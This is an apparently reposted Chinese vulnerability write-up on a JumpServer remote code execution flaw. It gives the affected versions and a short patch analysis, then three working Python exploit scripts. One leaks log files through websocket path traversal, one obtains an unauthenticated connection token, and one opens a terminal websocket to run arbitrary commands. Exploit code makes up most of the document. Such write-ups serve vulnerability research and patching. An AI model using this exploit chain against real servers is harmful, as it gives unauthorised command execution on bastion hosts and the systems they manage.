JumpServer遠程代碼執行漏洞


JumpServer遠程代碼執行漏洞

影響版本

JumpServer < v2.6.2  
JumpServer < v2.5.4  
JumpServer < v2.4.5   
JumpServer = v1.5.9

補丁分析

https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e

第一個修復路徑是 apps/authentication/api/auth.py

刪除了 get_permissions 函數,在該函數內如果帶上了user-only參數,將會獲得一個 AllowAny 的權限

第二個修復路徑是 apps/ops/ws.py
這是一個websocket 連接端點,用來讀取日志文件,修復方式是在connect函數內添加了身份認證代碼。

日志文件讀取

receive中獲取到了task參數,傳遞給了read_log_file函數,期間task_id參數沒有做檢驗

get_celery_task_log_path限制了只能讀log后綴的文件

jumpserver的日志目錄在/opt/jumpserver/logs/, 查看gunicorn.log日志,可以獲取到user_id、asset_id、system_user_id

獲取日志

import websocket
#pip install websocket_client
import json
import sys
import ssl
try:
    import thread
except ImportError:
    import _thread as thread

def on_message(ws, message):
    print(json.loads(message)["message"])

def on_error(ws, error):
    print(error)

def on_close(ws):
    print("### closed ###")

def on_open(ws):
    print("open")
    ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
    #thread.start_new_thread(run, ())


if __name__ == "__main__":
    websocket.enableTrace(True)
    ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
                              on_message = on_message,
                              on_error = on_error,
                              on_close = on_close)
    ws.on_open = on_open
#    ws.run_forever()

    ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE,"check_hostname": False})
    

然后就是利用漏洞獲取一個臨時的token

#-*- coding: utf-8 -*-
import requests

import json

data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}



url_host='http://192.168.126.133'



def get_token():

    url = url_host+'/api/v1/users/connection-token/?user-only=1'

    url =url_host+'/api/v1/authentication/connection-token/?user-only=1'

    response = requests.post(url, json=data).json()

    print(response)

    ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])

    print(ret.text)

get_token()

connection-token 接口是在koko go寫的程序里使用的

通過前面TokenAssetURL反向跟蹤到processTokenWebsocket,再進一步跟蹤到下面的代碼,而且/elfinder, 和/terminal 都有認證校驗,而/token 沒有

ws的token接口F12可以看到.

把前面的token傳入target_id就可以進入TTY執行命令了

ws://192.168.126.133/koko/ws/token/?target_id=6af30d9a-d707-4c11-bf70-8fef5229fdda

#-*- coding: utf-8 -*-
import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服務器端發送認證后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False

    await websocket.send(_text)

    recv_text = await websocket.recv()

    print(f"{recv_text}")



# 客戶端主邏輯

async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        print("inittext:"+inittext)
        await send_msg(websocket,inittext)
        for i in range(2):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
        #    print(f"{recv_text}")
            print(json.dumps(recv_text, sort_keys=True, indent=4))
        print('#######finish')

if __name__ == '__main__':
    try:
        import sys
        host=sys.argv[1]
        cmd=sys.argv[2]
        if host[-1]=='/':
            host=host[:-1]
        print(host)
        data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}
        print("##################")
        print("get token url:%s" % (host + url,))
        print("##################")
        res = requests.post(host + url, json=data)
        token = res.json()["token"]
        print("token:%s", (token,))
        print("##################")
        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
        print("target ws:%s" % (target,))
        asyncio.get_event_loop().run_until_complete(main_logic(cmd))
    except:
        print("python jumpserver.py http://192.168.1.73 whoami")


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM